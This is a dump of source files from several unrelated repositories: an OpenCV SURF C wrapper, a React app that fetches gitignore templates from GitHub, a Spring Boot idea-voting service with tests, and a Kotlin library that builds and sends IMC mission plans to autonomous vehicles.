opencvd_contrib_SRC "*.h" "*.cpp" ) if (MSVC) include_directories( ${OpenCV_INCLUDE_DIRS} ) add_library( opencvcapi_contrib STATIC ${opencvd_contrib_SRC}) target_link_libraries(opencvcapi_contrib ${OpenCV_LIBS}) endif (MSVC) if (UNIX) set(CMAKE_EXE_LINKER_FLAGS " -lstdc++") add_library( opencvcapi_contrib STATIC ${opencvd_contrib_SRC}) target_link_libraries(opencvcapi_contrib ${OpenCV_LIBS}) endif (UNIX) <file_sep>#include "xfeatures2d.h" SURF SURF_Create() { // TODO: params return new cv::Ptr<cv::xfeatures2d::SURF>(cv::xfeatures2d::SURF::create()); } void SURF_Close(SURF d) { delete d; } struct KeyPoints SURF_Detect(SURF d, Mat src) { std::vector<cv::KeyPoint> detected; (*d)->detect(*src, detected); KeyPoint* kps = new KeyPoint[detected.size()]; for (size_t i = 0; i < detected.size(); ++i) { KeyPoint k = {detected[i].pt.x, detected[i].pt.y, detected[i].size, detected[i].angle, detected[i].response, detected[i].octave, detected[i].class_id }; kps[i] = k; } KeyPoints ret = {kps, (int)detected.size()}; return ret; } struct KeyPoints SURF_DetectAndCompute(SURF d, Mat src, Mat mask, Mat desc) { std::vector<cv::KeyPoint> detected; (*d)->detectAndCompute(*src, *mask, detected, *desc); KeyPoint* kps = new KeyPoint[detected.size()]; for (size_t i = 0; i < detected.size(); ++i) { KeyPoint k = {detected[i].pt.x, detected[i].pt.y, detected[i].size, detected[i].angle, detected[i].response, detected[i].octave, detected[i].class_id }; kps[i] = k; } KeyPoints ret = {kps, (int)detected.size()}; return ret; }
0a942f87a20b7b3bc6d0afad64ea036846da3f60
[ "CMake", "Markdown", "Text", "C", "Go", "C++" ]
35
Go
aferust/opencvd
47b6c7fa75958e2637f25a51437e3e3c70953280
6f1b6b0c3da3bdafdb17a34f7ddd432a5beb6cce
refs/heads/master
<file_sep>import React, { useEffect, useState } from 'react'; import Searchbar from './components/Searchbar'; const App = React.memo(() => { const [templates, setTemplates] = useState([]) useEffect(() => { if (templates.length === 0) { fetch('https://api.github.com/gitignore/templates', { headers: { Accept: 'application/vnd.github.v3+json', } }) .then(res => res.json()) .then(data => setTemplates(data)) } }, [templates.length]) return ( <div className="App bg-gray-700"> <main className="container mx-auto flex flex-col h-screen flex-1 justify-center items-center"> <Searchbar templates={templates} /> </main> </div> ); }) export default App; <file_sep>import React, { useEffect, useState } from 'react' export default React.memo(({search, templates}) => { const [results, setResults] = useState([]) useEffect(() => { if (!search || search.length < 1) { setResults([]) } else { setResults(templates.filter(t => t.toLowerCase().indexOf(search.toLowerCase()) !== -1)) } }, [search, templates]) const downloadIgnore = (name) => { fetch('https://api.github.com/gitignore/templates/' + name , { headers: { Accept: 'application/vnd.github.v3.raw+json' } }) .then(res => res.blob()) .then(data => { const url = window.URL.createObjectURL(new Blob([data])); const link = document.createElement('a'); link.href = url; link.setAttribute('download', '.gitignore'); document.body.appendChild(link); link.click(); link.parentNode.removeChild(link); }) } const classes = 'h-64 sm:w-1/2 w-full p-2 rounded-lg mt-2' const extraClass = results.length > 0 ? ' bg-white shadow-xl' : ''; return ( <div className={classes + extraClass}> <ul className="overflow-y-auto h-full"> { results.map( (result, index) => { const separator = results.length > 1 && index > 0 ? 'border-t' : '' return ( <li onClick={() => downloadIgnore(result)} key={index} className={separator + ' py-2 hover:bg-teal-100 cursor-pointer'} >{result}</li> ) }) } </ul> </div> ) })<file_sep># Ignorefinder Find a gitignore template for your project. <file_sep>import React, { useState } from 'react' import Results from '../Results' export default React.memo(({templates}) => { const [search, setSearch] = useState('') return ( <div className="w-full flex flex-col items-center justify-center px-4"> <h1 className="text-2xl my-4 text-white">Search for a technology</h1> <input type="text" className="border h-12 sm:w-1/2 w-full bg-white shadow-xl rounded-lg p-2" value={search} onChange={(e) => setSearch(e.target.value)} /> <Results templates={templates} search={search} /> </div> ) })
cda53a7a87a039bc489d35af247d1f11b63f4776
[ "JavaScript", "Markdown" ]
4
JavaScript
devzambra/ignorefinder
b49ca1f917c6e738d7a18658e954b2521ba62df4
dd1b082b5e7b273afe79ce82881c05d08c350b4a
refs/heads/master
<repo_name>kristofnagyban/upvote-demo<file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/repository/IdeaRepository.java package hu.kristofnagyban.upvotedemo.repository; import hu.kristofnagyban.upvotedemo.domain.Idea; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; import java.util.List; @Repository public interface IdeaRepository extends JpaRepository<Idea, Long> { List<Idea> findByApprovedTrue(); List<Idea> findByApprovedFalse(); } <file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/controller/IdeaController.java package hu.kristofnagyban.upvotedemo.controller; import hu.kristofnagyban.upvotedemo.dto.idea.IdeaCreateData; import hu.kristofnagyban.upvotedemo.service.IdeaService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping("/api/idea") public class IdeaController extends ExceptionHandlerController { private final IdeaService ideaService; @Autowired public IdeaController(IdeaService ideaService) { this.ideaService = ideaService; } @PostMapping public ResponseEntity<Void> sendIdea(@RequestBody IdeaCreateData ideaCreateData) { if (ideaService.saveIdea(ideaCreateData).isPresent()) { return new ResponseEntity<>(HttpStatus.CREATED); } else { return new ResponseEntity<>(HttpStatus.BAD_REQUEST); } } } <file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/dto/user/UserCreateData.java package hu.kristofnagyban.upvotedemo.dto.user; import hu.kristofnagyban.upvotedemo.security.Role; import lombok.Data; @Data public class UserCreateData extends UserRegisterData { private Role role; public UserCreateData() { } public UserCreateData(UserRegisterData userRegisterData, Role role) { super(userRegisterData.getUsername(), userRegisterData.getPassword()); this.role = role; } } <file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/exception/NotUniqueUsernameException.java package hu.kristofnagyban.upvotedemo.exception; public class NotUniqueUsernameException extends RuntimeException { public NotUniqueUsernameException(String errorMessage) { super(errorMessage); } } <file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/service/VoteService.java package hu.kristofnagyban.upvotedemo.service; import hu.kristofnagyban.upvotedemo.domain.Vote; import hu.kristofnagyban.upvotedemo.exception.MultipleVotingException; import hu.kristofnagyban.upvotedemo.repository.VoteRepository; import org.springframework.context.annotation.Lazy; import org.springframework.stereotype.Service; import javax.transaction.Transactional; import java.util.List; @Service @Transactional public class VoteService { private final VoteRepository voteRepository; private final IdeaService ideaService; public VoteService(VoteRepository voteRepository, @Lazy IdeaService ideaService) { this.voteRepository = voteRepository; this.ideaService = ideaService; } public Vote saveVote(Long ideaId, String sessionId) { Vote vote = new Vote(ideaService.getById(ideaId), sessionId); if (!voteRepository.findAll().contains(vote)) { return voteRepository.save(vote); } else { throw new MultipleVotingException("You tried to vote multiple times in the same session."); } } public List<Vote> getAllVotes() { return voteRepository.findAll(); } } <file_sep>/src/test/resources/application.properties spring.datasource.url=jdbc:h2:mem:test spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.H2Dialect spring.datasource.username=sa spring.datasource.password=sa<file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/service/IdeaService.java package hu.kristofnagyban.upvotedemo.service; import hu.kristofnagyban.upvotedemo.domain.Idea; import hu.kristofnagyban.upvotedemo.dto.idea.IdeaAdminInfo; import hu.kristofnagyban.upvotedemo.dto.idea.IdeaBasicInfo; import hu.kristofnagyban.upvotedemo.dto.idea.IdeaCreateData; import hu.kristofnagyban.upvotedemo.repository.IdeaRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import javax.transaction.Transactional; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; @Service @Transactional public class IdeaService { private final IdeaRepository ideaRepository; private final VoteService voteService; @Autowired public IdeaService(IdeaRepository ideaRepository, VoteService voteService) { this.ideaRepository = ideaRepository; this.voteService = voteService; } public Optional<Idea> saveIdea(IdeaCreateData ideaCreateData) { Idea idea = new Idea(); idea.setDescription(ideaCreateData.getDescription()); idea.setApproved(false); return Optional.of(ideaRepository.save(idea)); } public List<IdeaAdminInfo> getIdeasForApproval() { return ideaAdminInfoMapper(ideaRepository.findByApprovedFalse()); } public Optional<Idea> approveIdea(Long id) { Idea idea = ideaRepository.getById(id); idea.setApproved(true); return Optional.of(ideaRepository.save(idea)); } public void deleteIdea(Long id) { ideaRepository.deleteById(id); } public List<IdeaAdminInfo> getIdeasWithStats() { return ideaAdminInfoMapper(ideaRepository.findByApprovedTrue()); } public List<IdeaBasicInfo> getIdeasForVoting(String sessionId) { List<IdeaBasicInfo> approvedIdeas = getApprovedIdeas(); List<Long> votedIdeasInSession = voteService.getAllVotes().stream() .filter(vote -> vote.getSessionId().equals(sessionId)) .mapToLong(vote -> vote.getIdea().getId()) .boxed() .collect(Collectors.toList()); return approvedIdeas.stream() .map(idea -> { if (!votedIdeasInSession.contains(idea.getId())) { idea.setVotable(true); } return idea; }) .collect(Collectors.toList()); } public Idea getById(Long id) { return ideaRepository.findById(id).orElse(new Idea()); } private List<IdeaBasicInfo> getApprovedIdeas() { List<Idea> approvedIdeas = ideaRepository.findAll().stream() .filter(Idea::isApproved) .collect(Collectors.toList()); return ideaBasicInfoMapper(approvedIdeas); } private List<IdeaBasicInfo> ideaBasicInfoMapper(List<Idea> ideas) { return ideas.stream() .map(idea -> new IdeaBasicInfo(idea.getId(), idea.getDescription())) .collect(Collectors.toList()); } private List<IdeaAdminInfo> ideaAdminInfoMapper(List<Idea> ideas) { return ideas.stream() .map(idea -> { IdeaAdminInfo ideaAdminInfo = new IdeaAdminInfo(); ideaAdminInfo.setId(idea.getId()); ideaAdminInfo.setDescription(idea.getDescription()); ideaAdminInfo.setApproved(idea.isApproved()); ideaAdminInfo.setVotes(idea.getVotes().size()); return ideaAdminInfo; }) .collect(Collectors.toList()); } } <file_sep>/src/test/java/hu/kristofnagyban/upvotedemo/service/UserServiceTest.java package hu.kristofnagyban.upvotedemo.service; import hu.kristofnagyban.upvotedemo.domain.User; import hu.kristofnagyban.upvotedemo.dto.user.UserRegisterData; import hu.kristofnagyban.upvotedemo.repository.UserRepository; import hu.kristofnagyban.upvotedemo.security.Role; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; import org.springframework.security.crypto.password.PasswordEncoder; import java.util.Optional; import static org.mockito.Mockito.verify; @ExtendWith(MockitoExtension.class) class UserServiceTest { UserService userService; @Mock private UserRepository userRepository; @Mock private PasswordEncoder passwordEncoder; @BeforeEach void init() { userService = new UserService(userRepository, passwordEncoder); } @Test void test_isUsernameAvailable_jack_true() { Mockito.when(userRepository.findByUsername("jack")).thenReturn(Optional.empty()); Assertions.assertTrue(userService.isUsernameAvailable("jack")); verify(userRepository).findByUsername("jack"); } @Test void test_isUsernameAvailable_john_false() { Mockito.when(userRepository.findByUsername("john")).thenReturn(Optional.of(new User(2L, "john", "<PASSWORD>", Role.BASIC))); Assertions.assertFalse(userService.isUsernameAvailable("john")); verify(userRepository).findByUsername("john"); } @Test void test_registerUser_monicaPassword123_success() { UserRegisterData userRegisterData = new UserRegisterData("monica", "<PASSWORD>"); User user = new User(); user.setUsername(userRegisterData.getUsername()); user.setPassword("<PASSWORD>"); user.setRole(Role.BASIC); Mockito.when(passwordEncoder.encode(userRegisterData.getPassword())).thenReturn("<PASSWORD>"); Mockito.when(userRepository.findByUsername(userRegisterData.getUsername())).thenReturn(Optional.empty()); Mockito.when(userRepository.save(user)).thenReturn(user); Assertions.assertEquals(Optional.of(user), userService.registerUser(userRegisterData)); Mockito.verify(passwordEncoder).encode(userRegisterData.getPassword()); Mockito.verify(userRepository).findByUsername(userRegisterData.getUsername()); Mockito.verify(userRepository).save(user); } }<file_sep>/src/main/java/hu/kristofnagyban/upvotedemo/UpvoteDemoApplication.java package hu.kristofnagyban.upvotedemo; import hu.kristofnagyban.upvotedemo.repository.IdeaRepository; import hu.kristofnagyban.upvotedemo.repository.UserRepository; import hu.kristofnagyban.upvotedemo.repository.VoteRepository; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.data.jpa.repository.config.EnableJpaRepositories; @SpringBootApplication @EnableJpaRepositories(basePackageClasses = {IdeaRepository.class, UserRepository.class, VoteRepository.class}) public class UpvoteDemoApplication { public static void main(String[] args) { SpringApplication.run(UpvoteDemoApplication.class, args); } }
3e5ad45269c951e62c7f30a7a105a102db1b1b6a
[ "Java", "INI" ]
9
Java
kristofnagyban/upvote-demo
fb7101a1d269c5b5cbc7a50079bd12234c8c765f
0b972a87118a3ce18bc44f9ac8a2c0a899b3efc8
refs/heads/master
<repo_name>danvk/strict-function-types-demo<file_sep>/demo.ts class Animal { eat() {} } class Dog extends Animal { bark() {} } class Greyhound extends Dog { runFast() {} } function foo(fn: (dog: Dog) => Dog) { return '' + fn(new Dog()); } declare const f1: (g: Greyhound) => Greyhound; declare const f2: (g: Greyhound) => Animal; declare const f3: (a: Animal) => Animal; declare const f4: (a: Animal) => Greyhound; foo(f1); foo(f2); foo(f3); foo(f4);
a61e0136ad2067afab75483ae85304027f20bc48
[ "TypeScript" ]
1
TypeScript
danvk/strict-function-types-demo
3d0cdc63ce21d4fd89d60471f4423507c5e62c3f
a550ac105c634a287d40e58f06228ec50cef0c4c
refs/heads/master
<repo_name>tienbk1995/Reactjs<file_sep>/src/components/counter.jsx import React, { Component } from "react"; import Counters from "./counters"; class Counter extends Component { // Remember to cast attribute usage from parent to constructor if you want to use 'this' attribute in derived class (eg: props) // There are 2 way to bind method: // 1. Using 'bind' method of function in the constructor // 2. Using Arrow function constructor(props) { super(props); } render() { return ( <React.Fragment> <span className="btn btn-secondary btn-sm m-2"> {this.props.counter.id} </span> <span className={this.getBadgeClasses()}>{this.formatCount()}</span> <button onClick={() => this.props.onIncrement(this.props.counter)} className="btn btn-secondary btn-sm" > Increment </button> <button className="btn btn-danger btn-sm m-2" onClick={() => this.props.onDelete(this.props.counter.id)} > Delete </button> </React.Fragment> ); } getBadgeClasses() { let classes = "badge m-2 badge-"; classes += this.props.counter.value === 0 ? "warning" : "primary"; return classes; } formatCount() { const { value } = this.props.counter; // Object destructuring return value === 0 ? "Zero" : value; } } export default Counter;
1dc2a7211ed5f360cc6673c33239780a8e84c531
[ "JavaScript" ]
1
JavaScript
tienbk1995/Reactjs
56527b3b169bb05fb390f0198a607de8beeab21f
9331a4018c1bd54edecf21d3af4da5c88f0d009e
refs/heads/master
<file_sep><?php namespace app\controllers; use app\base\BaseController; use base\Page; use base\View\View; class SiteController extends BaseController { public function __construct(Page &$page, $params) { parent::__construct($page, $params); } public function index() { $view = new View("site/index", $this->page); } }<file_sep><?php use app\controllers\SiteController; use base\routing\Routing; $routing = new Routing(); $routing->add('GET', '/', SiteController::class, 'index');<file_sep><?php $database = require __DIR__ . "/database.php"; return [ /** Название проекта */ 'name' => 'ErrCode Base Project', /** Относительные ссылки на главную страницу и страницу авторизации */ 'homeUrl' => '/', 'authUrl' => '/auth/', /** * true - исключения выводятся на экран * false - исключения логируются в logs/ */ 'exceptions' => true, 'database' => $database, /** Названия файлов стилей из public_html/css/, которые нужно подключить */ 'styles' => [ 'main.css', 'fonts.css', ], /** Названия скриптовых файлов из public_html/js/, которые нужно подключить */ 'scripts' => [ ], /** Ссылка на favicon относительно public_html/ */ 'favicon' => '', 'errors' => [ 404 => 'errors/404', 'access' => 'errors/access', ], 'logs' => [ 'log' => LOGS . 'log.txt', ], 'DSA' => [ "digest_alg" => "sha512", "private_key_bits" => 4096, ], 'mail' => [ 'host' => '', 'username' => '', 'password' => '', /** secure => 'ssl'/'tls' */ 'secure' => '', 'port' => 25 ], 'any' => [ ] ];<file_sep><?php namespace app\components; use app\base\BaseComponent; use base\App; use base\exceptions\BaseException; use PHPMailer\PHPMailer\PHPMailer; class SMTPMailComponent extends BaseComponent { /** @var PHPMailer */ private $mail; public function __construct() { $this->mail = new PHPMailer(true); $this->mail->isSMTP(); $this->mail->Host = App::$config->mail['host']; $this->mail->SMTPAuth = true; $this->mail->Username = App::$config->mail['username']; $this->mail->Password = App::$config->mail['password']; $this->mail->SMTPSecure = (App::$config->mail['secure'] === 'tls') ? PHPMailer::ENCRYPTION_STARTTLS : PHPMailer::ENCRYPTION_SMTPS; $this->mail->Port = App::$config->mail['port']; } public function confirmEmailMessage($address) { try { /** От кого: */ $this->mail->setFrom('<EMAIL>', 'Можно указать имя или пропустить этот параметр'); /** Кому: */ $this->mail->addAddress($address); /** Кому отвечать (можно убрать, если отправителю): */ $this->mail->addReplyTo('<EMAIL>'); /** Поддержка HTML-тегов */ $this->mail->isHTML(true); /** Кодировка */ $this->mail->CharSet = "utf-8"; /** Тема сообщения */ $this->mail->Subject = 'Подтверждение регистрации'; /** Сообщение */ $this->mail->Body = 'Текст в <b>HTML</b>'; /** Сообщение для почтовых программ, не поддерживающих HTML */ $this->mail->AltBody = 'Текст без HTML'; /** Отправка сообщения */ $this->mail->send(); } catch (\Exception $e) { $e = new BaseException($e->getMessage()); $e->getMessage(); } } }<file_sep><?php namespace app\base; use base\component\Component; class BaseComponent extends Component { }
d7458f35cde8759f905ad0b06639e9596748916f
[ "PHP" ]
5
PHP
ErrCodeRussia/errcode
ea680f57adbdc0816c381ca8f583a6d2e57f0929
f56d5bf856a05c62b07552379579977c38588997
refs/heads/master
<repo_name>jrtm/corona-slack-bot<file_sep>/Dockerfile from alpine RUN apk add npm ADD . /corona-slack-bot WORKDIR /corona-slack-bot RUN npm install ENTRYPOINT ["npm", "start"] <file_sep>/index.js const fetch = require("node-fetch"); const { WebClient } = require("@slack/web-api"); const Config = { CHANNEL: process.env.CHANNEL, BOT_NAME: process.env.BOT_NAME, SPAM_STRATEGY: process.env.SPAM_STRATEGY || "EDIT", // or "EDIT" to change last message SLACK_KEY: process.env.SLACK_KEY, NEW_LIMIT: process.env.NEW_LIMIT || 50, DELAY: process.env.DELAY || 60 // seconds }; if (!Config.CHANNEL || !Config.BOT_NAME || !Config.SLACK_KEY) { console.error("Missing environment variables: CHANNEL, BOT_NAME, SLACK_KEY"); process.exit(1); } const web = new WebClient(Config.SLACK_KEY); const getCoronaStats = (function() { const cache = { data: { population: 0, infected: 0, newToday: 0, newYesterday: 0, dead: 0 } }; return async () => { try { const data = await getVgApiData(); if (data.population) { cache.data = data; return data; } else { console.log("No data received", data); } return cache.data; } catch (e) { console.log("Error loading VG data. Using cache.", e); return cache.data; } }; })(); async function getVgApiData() { const resp = await fetch( "https://redutv-api.vg.no/corona/v1/sheets/norway-region-data" ); const data = await resp.json(); const meta = data.metadata; return { population: meta.population, infected: meta.confirmed.total, newToday: meta.confirmed.newToday, newYesterday: meta.confirmed.newYesterday, dead: meta.dead.total }; } const tick = (function() { let lastData = null; let lastTime = 0; const maxWaitTime = 4 * 60 * 60 * 1000; return async () => { console.log(`[${new Date()}] Looking for updates`); const stats = await getCoronaStats(); if ( lastData && lastData.infected === stats.infected && lastData.dead === stats.dead ) { console.log("Nothing new ..."); // nothing interesting new return; } const now = Date.now(); if ( lastData && stats.infected - lastData.infected < Config.NEW_LIMIT && stats.dead === lastData.dead && now < lastTime + maxWaitTime ) { console.log( `Not interesting enough yet ... (${stats.infected} infected now)` ); return; } lastTime = now; lastData = stats; console.log("New data: ", stats); const per100k = 100_000 * (stats.infected / stats.population); const message = `*${stats.infected}* bekreftet smittet (${per100k.toFixed( 1 )} per 100k, ${stats.newToday} nye i dag, ${ stats.newYesterday } i går), og *${stats.dead}* døde`; setLastSlackMessage(message); }; })(); async function setLastSlackMessage(message) { const history = await web.channels.history({ count: 1, channel: Config.CHANNEL }); const threadId = history.ok && history.messages.length > 0 && history.messages[0].bot_profile && history.messages[0].bot_profile.name === Config.BOT_NAME ? history.messages[0].ts : null; if (threadId) { if (Config.SPAM_STRATEGY === "THREAD") { console.log("Adding thread message"); await web.chat.postMessage({ channel: Config.CHANNEL, text: message, thread_ts: threadId }); } else { console.log("Editing last message"); // "EDIT" await web.chat.update({ channel: Config.CHANNEL, ts: threadId, text: message }); } } else { console.log("Posting new message"); await web.chat.postMessage({ channel: Config.CHANNEL, text: message }); } } const delay = Config.DELAY * 1000; function loop() { tick(); setTimeout(loop, delay); } loop();
66b58e33ddab8a95621a34b1c738583d718d5c9e
[ "JavaScript", "Dockerfile" ]
2
Dockerfile
jrtm/corona-slack-bot
3a5ad07c87fb254aedfabf8d4370911922a01abb
9c7bc3cb3ad024a0bb9e898e6fac8e65a3c292d7
refs/heads/master
<file_sep>package pt.lsts.imc.kotlin import pt.lsts.util.WGS84Utilities data class Angle constructor(val rad: Number) { fun asDegrees() = Math.toDegrees(rad.toDouble()) fun asRadians() = rad.toDouble() operator fun plus(a: Angle) = Angle(a.asRadians() + asRadians()) operator fun minus(a: Angle) = Angle(a.asRadians() - asRadians()) operator fun div(a: Number) = Angle(asRadians() / a.toDouble()) operator fun times(a: Number) = Angle(asRadians() * a.toDouble()) operator fun unaryMinus() = Angle(-asRadians()) override fun toString() = String.format("%.1fº", asDegrees()) } fun Number.deg() = Angle(Math.toRadians(this.toDouble())) fun Number.rad() = Angle(this.toDouble()) object KnownGeos { val FEUP = Geo(41.1781918.deg(), -8.5954308.deg()) val APDL = Geo(41.185242.deg(), -8.704803.deg()) } data class Geo constructor(val lat: Angle, val lon: Angle) { constructor(lat: Double, lon: Double) : this(lat.deg(), lon.deg()) infix fun distance(l: Geo): Double { val offsets = offsets(l) return Math.hypot(offsets.first, offsets.second) } infix fun angle(l: Geo): Angle { val offsets = offsets(l) return Math.atan2(offsets.second, offsets.first).rad() } fun translatedBy(northing: Number, easting: Number): Geo { val coords = WGS84Utilities.WGS84displace(lat.asDegrees(), lon.asDegrees(), 0.0, northing.toDouble(), easting.toDouble(), 0.0) return Geo(coords[0].deg(), coords[1].deg()) } infix fun offsets(l: Geo): Pair<Double, Double> { val offsets = WGS84Utilities.WGS84displacement( lat.asDegrees(), lon.asDegrees(), 0.0, l.lat.asDegrees(), l.lon.asDegrees(), 0.0) return Pair(offsets[0], offsets[1]) } override fun toString(): String = "Geo(${lat.asDegrees()}, ${lon.asDegrees()})" } fun main(args: Array<String>) { println(90.deg() == Math.PI.rad() / 2) println(Math.PI.rad() / 2) val l1 = KnownGeos.FEUP val l3 = l1.translatedBy(200.0, 200.0) println(KnownGeos.FEUP distance KnownGeos.APDL) println(l1 offsets l3) println((l1 angle l3).asRadians()) }<file_sep>package pt.lsts.imc.kotlin import pt.lsts.imc.* import pt.lsts.imc.adapter.ImcAdapter import pt.lsts.imc.net.Consume import pt.lsts.neptus.messages.listener.Periodic fun <T : IMCMessage> msg(msg: Class<T>, builder: T.() -> Unit): T { val m = IMCDefinition.getInstance().create(msg) m.builder() return m; } //Plain Old Kotlin Object (POKO) that will handle incoming data class ImcAgent(name: String, id: Int, port: Int, type: Announce.SYS_TYPE) : ImcAdapter(name, id, port, type) { var req_id = 0 // method called every 3000 milliseconds @Periodic(3000) fun update() { println("3 seconds have passed") } // method call whenever a message arrives from any system @Consume fun on(msg: IMCMessage) = println("${msg.abbrev} from ${msg.sourceName}") // Message creation and sending fun sendPlanControl() { val pt1 = KnownGeos.APDL.translatedBy(0.0, 150.0) val pc = msg(PlanControl::class.java) { requestId = ++req_id info = "Go to APDL" type = PlanControl.TYPE.REQUEST op = PlanControl.OP.START flags = PlanControl.FLG_CALIBRATE arg = msg(Goto::class.java) { lat = pt1.lat.asRadians() lon = pt1.lon.asRadians() z = 2.0 zUnits = Goto.Z_UNITS.DEPTH speed = 1.0 speedUnits = Goto.SPEED_UNITS.METERS_PS } } // Send to all connected peers dispatch(pc) } } fun main(args: Array<String>) { // create and start the agent ImcAgent("Kotlin Agent", 0x4444, 7010, Announce.SYS_TYPE.UAV) } <file_sep>package pt.lsts.imc.kotlin import pt.lsts.imc.* import pt.lsts.imc.net.IMCProtocol import javax.swing.JFrame import javax.swing.JLabel import javax.swing.JScrollPane fun plan(id: String, init: Plan.() -> Unit): PlanSpecification { val p = Plan(id) p.init() return p.imc() } data class Z(var value: Number, var units: Units) { enum class Units { DEPTH, ALTITUDE, HEIGHT, NONE } fun units() = units.toString() } data class Speed(var value: Number, var units: Units) { enum class Units { METERS_PS, PERCENTAGE, RPM } fun units() = units.toString() } class Plan(val id: String) { val MPS = Speed.Units.METERS_PS val Percent = Speed.Units.PERCENTAGE val RPM = Speed.Units.RPM val Depth = Z.Units.DEPTH val Altitude = Z.Units.ALTITUDE val Height = Z.Units.HEIGHT val None = Z.Units.NONE var mans = emptyArray<PlanManeuver>() var loc: Geo = KnownGeos.APDL var speed = Speed(1.0, Speed.Units.METERS_PS) var z = Z(0.0, Z.Units.DEPTH) var count = 1 fun <T : Maneuver> maneuver(id: String, m: Class<T>): T { val pman = msg(PlanManeuver::class.java) { maneuverId = id data = msg(m) { setValue("lat", loc.lat.asRadians()) setValue("lon", loc.lon.asRadians()) setValue("speed", speed.value) setValue("speed_units", speed.units) setValue("z", z.value) setValue("z_units", z.units()) } } mans += pman return pman.data as T } fun goto(id: String = "${count++}", loc: Geo = this.loc, speed: Speed = this.speed, z: Z = this.z) = maneuver(id, Goto::class.java) fun skeeping(id: String = "${count++}", loc: Geo = this.loc, speed: Speed = this.speed, z: Z = this.z, radius: Number = 20.0, duration: Number = 0): StationKeeping { val man = maneuver(id, StationKeeping::class.java) man.duration = duration.toInt() man.radius = radius.toDouble() return man } fun loiter(id: String = "${count++}", loc: Geo = this.loc, speed: Speed = this.speed, z: Z = this.z, radius: Number = 20.0, duration: Number = 600): Loiter { val loiter = maneuver(id, Loiter::class.java) loiter.duration = duration.toInt() loiter.type = Loiter.TYPE.CIRCULAR loiter.radius = radius.toDouble() return loiter } fun yoyo(id: String = "${count++}", loc: Geo = this.loc, speed: Speed = this.speed, z: Z = this.z, max_depth: Number = 20.0, min_depth: Number = 2.0): YoYo { val yoyo = maneuver(id, YoYo::class.java) yoyo.amplitude = (max_depth.toDouble() - min_depth.toDouble()) yoyo.z = (max_depth.toDouble() + min_depth.toDouble()) / 2.0 return yoyo } fun popup(id: String = "${count++}", loc: Geo = this.loc, speed: Speed = this.speed, z: Z = this.z, duration: Number = 180, currPos: Boolean = true): PopUp { val popup = maneuver(id, PopUp::class.java) popup.duration = duration.toInt() popup.flags = if (currPos) PopUp.FLG_CURR_POS else 0 return popup } fun move(northing: Number, easting: Number) { loc = loc.translatedBy(northing, easting) } fun locate(latitude: Number, longitude: Number) { loc = Geo(latitude.deg(), longitude.deg()) } fun locate(latitude: Angle, longitude: Angle) { loc = Geo(latitude, longitude) } fun locate(loc: Geo) { this.loc = loc } fun imc(): PlanSpecification { return msg(PlanSpecification::class.java) { planId = id startManId = mans[0].maneuverId setManeuvers(mans.asList()) setTransitions(transitions().asList()) } } private fun transitions(): Array<PlanTransition> { var trans = emptyArray<PlanTransition>() var previous: PlanManeuver? = null for (m in mans) { if (previous != null) trans += msg(PlanTransition::class.java) { sourceMan = previous?.maneuverId destMan = m.maneuverId conditions = "maneuverIsDone" } previous = m } return trans } } class send(val msg: IMCMessage) { val imc = IMCProtocol() infix fun to (vehicle: String) { imc.connect(vehicle) val vehicle = imc.waitFor(vehicle, 60000) if (vehicle != null && imc.sendMessage(vehicle, msg)) println ("${msg.abbrev} commanded to $vehicle") else println ("Error communicating with $vehicle") } } fun main(args: Array<String>) { // Plan builder var plan = plan("KotlinPlan") { val home = Geo(41.185242, -8.704803) // set current plan location locate(home) // set speed units to use speed.units = MPS speed.value = 1.2 // set z reference to use z.value = 5 z.units = Altitude // add a goto at current location goto() // change current location by moving north 100 meters move(100, 0) // change z value (still using altitude) z.value = 4 // add loiter using default radius but using 4 minutes duration loiter(duration = 240) // afterwards go back home at surface z.value = 0 z.units = Depth skeeping(loc = home) } plan.description = "This is a PlanSpecification generated by a Kotlin builder" send(plan) to "lauv-xplore-1" } <file_sep>buildscript { ext.kotlin_version = '1.0.5' repositories { mavenCentral() } dependencies { classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" } } apply plugin: "kotlin" apply plugin: 'application' repositories { mavenCentral() flatDir { dirs 'libs' } } mainClassName = 'pt.lsts.TestKt' dependencies { compile "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version" testCompile 'junit:junit:4.11' testCompile "org.jetbrains.kotlin:kotlin-test-junit:$kotlin_version" compile name: 'libimc' } task wrapper(type: Wrapper) { gradleVersion = "2.7" } jar { manifest { attributes "Main-Class": "$mainClassName" } doFirst { from (configurations.runtime.resolve().collect { it.isDirectory() ? it : zipTree(it) }) { exclude 'META-INF/MANIFEST.MF' exclude 'META-INF/*.SF' exclude 'META-INF/*.DSA' exclude 'META-INF/*.RSA' exclude '**/*.java' } } } defaultTasks 'run'
a5c98c63e57aad010d531128b46b47b7b4e623ef
[ "Kotlin", "Gradle" ]
4
Kotlin
zepinto/imc-kotlin
dd3e09d687d1faf8e597aef83ea2f03f2c80204d
4a9901fd1ef92b17cc7bf6460c5e95b54dd65214
refs/heads/master
